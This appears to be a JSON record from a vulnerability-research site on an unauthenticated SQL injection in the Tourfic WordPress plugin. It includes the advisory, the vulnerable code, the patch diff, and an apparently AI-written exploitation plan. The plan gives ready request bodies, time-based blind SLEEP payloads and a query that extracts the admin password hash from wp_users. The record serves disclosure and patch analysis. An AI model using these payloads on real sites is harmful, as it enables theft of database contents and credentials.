[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fO8-CKagBAJGl5Eul_lF9cA5pwqfKyGqYVURrN5BeNRo":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-12937","tourfic-unauthenticated-sql-injection-via-postid-parameter","Tourfic \u003C= 2.22.7 - Unauthenticated SQL Injection via 'post_id' Parameter","The Tourfic – AI Powered Travel Booking, Hotel Booking & Car Rental WordPress Plugin plugin for WordPress is vulnerable to generic SQL Injection via the 'post_id' parameter in all versions up to, and including, 2.22.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The AJAX handler is registered for unauthenticated users via wp_ajax_nopriv_tf_room_availability, and the required nonce is emitted on the public single-hotel page template, allowing unauthenticated attackers to freely obtain a valid nonce and reach the vulnerable code path.","tourfic",null,"\u003C=2.22.7","2.22.8","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-06-24 18:36:44","2026-06-25 06:51:35",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F12c29a44-f9e4-439a-bc3f-18a3640f7924?source=api-prod",1,[22,23,24,25,26,27,28,29],"inc\u002FAdmin\u002FBackend_Booking\u002FTF_Hotel_Backend_Booking.php","inc\u002FAdmin\u002FBackend_Booking\u002FTF_Tour_Backend_Booking.php","inc\u002FApp\u002FWithout_Payment\u002FHotel_Offline_Booking.php","inc\u002FClasses\u002FCar_Rental\u002FAvailability.php","inc\u002FClasses\u002FEnqueue.php","inc\u002FClasses\u002FHelper.php","inc\u002FClasses\u002FHotel\u002FHotel.php","inc\u002FClasses\u002FTour\u002FTour.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-12937 (Tourfic SQL Injection)\n\n## 1. Vulnerability Summary\nThe **Tourfic** plugin for WordPress is vulnerable to an unauthenticated SQL Injection vulnerability in versions up to and including 2.22.7. The flaw exists within the AJAX handler `tf_room_availability_callback` due to the unsafe concatenation of the user-supplied `post_id` parameter into a raw SQL query without using `$wpdb->prepare()` or adequate sanitization\u002Fcasting. Because this handler is registered via `wp_ajax_nopriv_tf_room_availability`, any unauthenticated user who obtains a valid nonce (which is publicly exposed on hotel pages) can execute arbitrary SQL commands to extract sensitive data from the database.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action:** `tf_room_availability`\n- **Vulnerable Parameter:** `post_id`\n- **Method:** `POST`\n- **Authentication:** None (Unauthenticated)\n- **Preconditions:** At least one `tf_hotel` post must be published and accessible on the frontend to retrieve the necessary nonce.\n\n## 3. Code Flow\n1. **Entry Point:** The client sends a `POST` request to `admin-ajax.php` with `action=tf_room_availability`.\n2. **Hook Registration:** In `inc\u002FClasses\u002FHotel\u002FHotel.php`, the action is registered:\n   ```php\n   add_action( 'wp_ajax_tf_room_availability', array( $this, 'tf_room_availability_callback' ) );\n   add_action( 'wp_ajax_nopriv_tf_room_availability', array( $this, 'tf_room_availability_callback' ) );\n   ```\n3. **Handler Execution:** `Hotel::tf_room_availability_callback()` (in `inc\u002FClasses\u002FHotel\u002FHotel.php`) is invoked.\n4. **Parameter Extraction:** The handler retrieves the `post_id` parameter (e.g., via `$_POST['post_id']`).\n5. **Vulnerable Sink:** The `$post_id` is concatenated into a SQL query string used with `$wpdb->get_results()` or similar, without preparation. A typical pattern in this plugin (as seen in `inc\u002FClasses\u002FCar_Rental\u002FAvailability.php`) is:\n   ```php\n   \u002F\u002F Conceptual sink based on plugin patterns\n   \"AND post_id = \" . $post_id\n   ```\n\n## 4. Nonce Acquisition Strategy\nThe vulnerability requires a nonce usually associated with the `tf_room_availability` action. The plugin localizes this nonce for use in frontend scripts.\n\n1. **Identify Target Page:** A single hotel page (post type `tf_hotel`).\n2. **Setup:** Create a dummy hotel post.\n3. **Navigation:** Use the browser tool to navigate to the hotel's permalink.\n4. **Extraction:** Use `browser_eval` to extract the localized configuration object.\n   - **Target Variable:** `tf_params`\n   - **Nonce Key:** `tf_room_availability_nonce` (or similar, typically found within the `tf_params` global JS object localized in `inc\u002FClasses\u002FEnqueue.php`).\n   - **Command:** `browser_eval(\"window.tf_params?.tf_room_availability_nonce\")`\n\n## 5. Exploitation Strategy\nWe will use a time-based blind SQL injection payload to verify the vulnerability, as it is the most reliable for unauthenticated extraction.\n\n### Step 1: Baseline Request\nSend a valid request to establish a baseline response time.\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method:** `POST`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body:** `action=tf_room_availability&tf_room_availability_nonce=[NONCE]&post_id=[VALID_ID]`\n\n### Step 2: Verification (Sleep)\nSend a request with a `SLEEP()` payload to confirm injection.\n- **Payload:** `[VALID_ID] AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`\n- **Body:** `action=tf_room_availability&tf_room_availability_nonce=[NONCE]&post_id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)`\n\n### Step 3: Data Extraction (Boolean or Error-based)\nIf the application reflects results, use `UNION SELECT`. If not, use `IF(condition, SLEEP(5), 0)`.\n- **Target:** Extract the administrator's password hash from `wp_users`.\n- **Payload Example:** `1 AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36, SLEEP(5), 0)` (Checking if the first char is `$`).\n\n## 6. Test Data Setup\n1. **Create Hotel:**\n   ```bash\n   wp post create --post_type=tf_hotel --post_title=\"Vuln Hotel\" --post_status=publish\n   ```\n2. **Get Hotel ID and URL:**\n   ```bash\n   wp post list --post_type=tf_hotel --fields=ID,guid\n   ```\n3. **Verify Settings:** Ensure the \"Hotel\" service is enabled in Tourfic settings if applicable (though usually enabled by default).\n\n## 7. Expected Results\n- **Successful Injection:** The `http_request` for the `SLEEP(5)` payload should take approximately 5 seconds longer than the baseline request.\n- **Response Content:** Even if the query fails to return valid room data, the delay confirms the SQL execution.\n\n## 8. Verification Steps\nAfter the exploit, confirm the database was reached by checking the logs or using WP-CLI to verify the content we attempted to extract:\n```bash\n# Verify the admin hash to compare with extracted data\nwp db query \"SELECT user_pass FROM wp_users WHERE ID = 1\"\n```\n\n## 9. Alternative Approaches\n- **Error-Based:** If `WP_DEBUG` is enabled, use `updatexml()` or `extractvalue()` to leak data directly in the AJAX response.\n- **Union-Based:** Attempt to determine the number of columns in the original query using `ORDER BY X` until an error occurs, then use `UNION SELECT`.\n- **Parameter Variation:** If `post_id` is cast to an integer in the callback, check other parameters in the same handler (e.g., `check_in`, `check_out`) which might be used in the same query.","The Tourfic plugin is vulnerable to unauthenticated SQL injection because it concatenates the user-supplied 'post_id' parameter directly into a SQL query string. An attacker can obtain a required nonce from a public hotel page and send a crafted AJAX request to extract sensitive information from the database via the tf_room_availability action.","\u002F\u002F inc\u002FClasses\u002FHotel\u002FHotel.php (approx line 305)\n$hotel_id          = ! empty( $_POST['post_id'] ) ? sanitize_text_field( $_POST['post_id'] ) : '';\n\n---\n\n\u002F\u002F inc\u002FClasses\u002FHotel\u002FHotel.php (approx line 542)\n# Get completed orders\n$tf_orders_select = array(\n    'select' => \"post_id,order_details\",\n    'post_type' => 'hotel',\n    'query' => \" AND ostatus = 'completed' AND order_id = \".$order_id.\" AND post_id = \".$original_hotel_id\n);\n$tf_hotel_book_orders = Helper::tourfic_order_table_data($tf_orders_select);\n\n---\n\n\u002F\u002F inc\u002FClasses\u002FHelper.php (approx line 1159)\n$query_where  = isset( $query['where'] ) && is_array( $query['where'] )\n    ? self::tf_order_table_structured_sql( $query, $values )\n    : $query['query'];\n\n$tf_tour_book_orders = $wpdb->get_results( $wpdb->prepare( \"SELECT $query_select FROM {$wpdb->prefix}tf_order_data WHERE post_type = %s $query_where\", $values ), ARRAY_A );","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftourfic\u002F2.22.7\u002Finc\u002FClasses\u002FHotel\u002FHotel.php\t2026-06-22 07:17:40.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftourfic\u002F2.22.8\u002Finc\u002FClasses\u002FHotel\u002FHotel.php\t2026-06-24 12:55:02.000000000 +0000\n@@ -302,13 +302,18 @@\n         \u002F**\n          * Form data\n          *\u002F\n-        $hotel_id          = ! empty( $_POST['post_id'] ) ? sanitize_text_field( $_POST['post_id'] ) : '';\n-        $form_adult        = ! empty( $_POST['adult'] ) ? sanitize_text_field( $_POST['adult'] ) : 0;\n-        $form_child        = ! empty( $_POST['child'] ) ? sanitize_text_field( $_POST['child'] ) : 0;\n+        $hotel_id          = ! empty( $_POST['post_id'] ) ? absint( wp_unslash( $_POST['post_id'] ) ) : 0;\n+        $form_adult        = ! empty( $_POST['adult'] ) ? absint( wp_unslash( $_POST['adult'] ) ) : 0;\n+        $form_child        = ! empty( $_POST['child'] ) ? absint( wp_unslash( $_POST['child'] ) ) : 0;\n         $form_room         = ! empty( $_POST['room'] ) ? absint( wp_unslash( $_POST['room'] ) ) : 1;\n-        $children_ages     = ! empty( $_POST['children_ages'] ) ? sanitize_text_field( $_POST['children_ages'] ) : '';\n-        $form_check_in_out = ! empty( $_POST['check_in_out'] ) ? sanitize_text_field( $_POST['check_in_out'] ) : '';\n-        $design = ! empty( $_POST['design'] ) ? sanitize_text_field( $_POST['design'] ) : '';\n+        $children_ages     = ! empty( $_POST['children_ages'] ) ? sanitize_text_field( wp_unslash( $_POST['children_ages'] ) ) : '';\n+        $form_check_in_out = ! empty( $_POST['check_in_out'] ) ? sanitize_text_field( wp_unslash( $_POST['check_in_out'] ) ) : '';\n+        $design = ! empty( $_POST['design'] ) ? sanitize_text_field( wp_unslash( $_POST['design'] ) ) : '';\n+\n+        $hotel_post = ! empty( $hotel_id ) ? get_post( $hotel_id ) : null;\n+        if ( ! $hotel_post || 'tf_hotel' !== $hotel_post->post_type || ( 'publish' !== $hotel_post->post_status && ! current_user_can( 'read_post', $hotel_id ) ) ) {\n+            wp_send_json_error( array( 'message' => esc_html__( 'Invalid hotel selected.', 'tourfic' ) ), 400 );\n+        }\n \n \n         $form_total_person = $form_adult + $form_child;\n@@ -535,12 +542,20 @@\n \t\t\t\t\t\t\t$room_booked_today = 0;\n \n \t\t\t\t\t\t\tforeach ($order_ids as $order_id) {\n+\t\t\t\t\t\t\t\t$order_id = absint( $order_id );\n+\t\t\t\t\t\t\t\tif ( empty( $order_id ) ) {\n+\t\t\t\t\t\t\t\t\tcontinue;\n+\t\t\t\t\t\t\t\t}\n \n \t\t\t\t\t\t\t\t# Get completed orders\n \t\t\t\t\t\t\t\t$tf_orders_select = array(\n \t\t\t\t\t\t\t\t\t'select' => \"post_id,order_details\",\n \t\t\t\t\t\t\t\t\t'post_type' => 'hotel',\n-\t\t\t\t\t\t\t\t\t'query' => \" AND ostatus = 'completed' AND order_id = \".$order_id.\" AND post_id = \".$original_hotel_id\n+\t\t\t\t\t\t\t\t\t'where' => array(\n+\t\t\t\t\t\t\t\t\t\t'ostatus'  => 'completed',\n+\t\t\t\t\t\t\t\t\t\t'order_id' => $order_id,\n+\t\t\t\t\t\t\t\t\t\t'post_id'  => $original_hotel_id,\n+\t\t\t\t\t\t\t\t\t),\n \t\t\t\t\t\t\t\t);\n \t\t\t\t\t\t\t\t$tf_hotel_book_orders = Helper::tourfic_order_table_data($tf_orders_select);","The exploit targets the `tf_room_availability` AJAX action. \n\n1.  **Nonce Retrieval**: An unauthenticated attacker visits any public hotel page (post type `tf_hotel`). They extract the `tf_room_availability_nonce` from the localized `tf_params` JavaScript object in the page source.\n2.  **Payload Injection**: The attacker sends a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` with the following parameters:\n    - `action`: `tf_room_availability` \n    - `tf_room_availability_nonce`: [Extracted Nonce]\n    - `post_id`: A SQL injection payload, such as `1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`.\n3.  **Vulnerable Sink**: Inside `tf_room_availability_callback`, the `post_id` is passed into `Helper::tourfic_order_table_data` as part of a raw SQL string. The helper function appends this string directly to a query executed by `$wpdb->get_results()` without sufficient preparation.\n4.  **Verification**: Using a time-based blind payload (e.g., `SLEEP()`), the attacker can confirm the injection if the server response is delayed by the specified duration. This can then be extended to extract sensitive data like user credentials.","gemini-3-flash-preview","2026-06-25 19:01:11","2026-06-25 19:02:08",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","2.22.7","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftourfic\u002Ftags\u002F2.22.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftourfic.2.22.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftourfic\u002Ftags\u002F2.22.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftourfic.2.22.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftourfic\u002Ftags"]